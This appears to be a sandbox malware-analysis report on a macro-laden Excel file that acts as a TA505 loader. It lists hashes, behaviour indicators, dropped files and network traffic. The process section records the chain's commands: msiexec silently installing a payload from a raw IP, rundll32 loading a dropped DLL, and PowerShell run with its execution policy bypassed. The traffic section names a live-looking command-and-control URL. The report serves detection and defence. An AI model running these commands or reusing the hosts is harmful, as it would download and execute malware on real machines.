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File name:

inf_2019032173644.xls

Full analysis: https://app.any.run/tasks/e19a6162-7a34-4fb2-b54e-4b99653e2238
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 09:26:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
exe-to-msi
loader
ta505
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Thu Mar 21 06:42:12 2019, Security: 0
MD5:

78EA9835C2D7F6760315EA043807B8C8

SHA1:

1E5ED2C3F2254C91D1B3E75431142D19CE530B7F

SHA256:

4C6EC69AF9DFB446273A38BE73BE83A613018B1B6A64AB1386CC798637A63832

SSDEEP:

1536:qKpb8rGYrMPelwhKmFV5xtezEsgrdgDXojNN9PeOCEz81Cr+hqTGuWeZfuwqIlNG:qKpb8rGYrMPelwhKmFV5xtezEsgrdgjT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 720)

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 720)

    • Application was dropped or rewritten from another process

      • ns8E20.tmp (PID: 2836)

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 4076)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3424)

    • Downloads executable files from IP

      • msiexec.exe (PID: 3424)

    • Executes PowerShell scripts

      • cmd.exe (PID: 1444)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3424)
      • MSI8D55.tmp (PID: 2124)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3424)

    • Starts CMD.EXE for commands execution

      • ns8E20.tmp (PID: 2836)
      • rundll32.exe (PID: 4076)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 3588)

    • Starts application with an unusual extension

      • MSI8D55.tmp (PID: 2124)

    • Creates files in the user directory

      • powershell.exe (PID: 360)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 720)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3424)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3424)

    • Application was dropped or rewritten from another process

      • MSI8D55.tmp (PID: 2124)

    • Loads dropped or rewritten executable

      • MSI8D55.tmp (PID: 2124)

    • Creates files in the user directory

      • EXCEL.EXE (PID: 720)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author: Microsoft Office
LastModifiedBy: 1
Software: Microsoft Excel
CreateDate: 2018:12:19 10:42:12
ModifyDate: 2019:03:21 06:42:12
Security: None
CodePage: Windows Cyrillic
Company: Microsoft Corporation
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • 1
  • 2
HeadingPairs:
  • Листы
  • 1
  • Макросы Excel 4.0
  • 1
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
9
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msi8d55.tmp ns8e20.tmp no specs cmd.exe no specs rundll32.exe cmd.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
720"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
1848msiexec.exe RETURN=185 /i http://169.239.128.104/alg /q ksw='%TEMP%' C:\Windows\system32\msiexec.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3424C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2124"C:\Windows\Installer\MSI8D55.tmp"C:\Windows\Installer\MSI8D55.tmp
msiexec.exe
User:
admin
Company:
hepsu burda
Integrity Level:
MEDIUM
Description:
hepsu burda Application
Version:
1.0.2.1
2836"C:\Users\admin\AppData\Local\Temp\nsn8E1F.tmp\ns8E20.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Users\admin\AppData\Local\Temp\nsn8E1F.tmp\ns8E20.tmp—MSI8D55.tmp
User:
admin
Integrity Level:
MEDIUM
3588"cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\cmd.exe—ns8E20.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
4076rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\rundll32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1444cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1C:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
360powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 966
Read events
1 755
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
6
Text files
13
Unknown types
7

Dropped files

PID
Process
Filename
Type
720EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR7D45.tmp.cvr —
MD5:—
SHA256:—
3424msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF0B6E0CFDABFAB2E7.TMP —
MD5:—
SHA256:—
360powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AS1YA54SDMVVPIKLZ5XT.temp —
MD5:—
SHA256:—
3424msiexec.exeC:\Windows\Installer\MSI86F9.tmpexecutable
MD5:D4C11BDA021113CA4604D80896B2A492
SHA256:AE2B1B1F7265386EDBBF2617084F277CDB9BC5AC34BD9AAC00CBC77A6BDCD829
3424msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
3424msiexec.exeC:\Users\admin\AppData\Local\Temp\Cookies\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
2124MSI8D55.tmpC:\Users\admin\AppData\Local\Temp\nsn8E1F.tmp\ns8E20.tmpexecutable
MD5:E2347A65B30CCC5B2C4230DAAEEFB897
SHA256:79FD3041AB85E378839D2E3CF155FC91A2D541304D209F5D1D57AC7D791190EC
3424msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:D98DFA5E69530DDF1D4B4D6A056336BA
SHA256:B9C3FF437FD4E93AC8A08C3DFB3DA23BB402E7312FD8A962E9A1C7B573C1F912
2124MSI8D55.tmpC:\Users\admin\AppData\Local\Temp\xmlparse.dllexecutable
MD5:6675C63A2534FD65B3B2DA751F2B393F
SHA256:BEE3B2710F7E874CE05E6B8B45CC20E021B9C00EE337238598E71E7315128333
720EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFC6A448012D8DE52E.TMP —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3424
msiexec.exe
GET
200
169.239.128.104:80
http://169.239.128.104/alg
ZA
executable
396 Kb
suspicious
4076
rundll32.exe
POST
200
179.43.156.37:80
http://cdnavupdate.icu/jquery/jquery.php
CH
text
3 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4076
rundll32.exe
179.43.156.37:80
cdnavupdate.icu
Private Layer INC
CH
suspicious
3424
msiexec.exe
169.239.128.104:80
—
Zappie Host LLC
ZA
suspicious

DNS requests

Domain
IP
Reputation
cdnavupdate.icu
  • 179.43.156.37
malicious

Threats

PID
Process
Class
Message
3424
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3424
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
—
—
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
4076
rundll32.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
1 ETPRO signatures available at the full report
No debug info
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Reports
inf_2019032173644.xls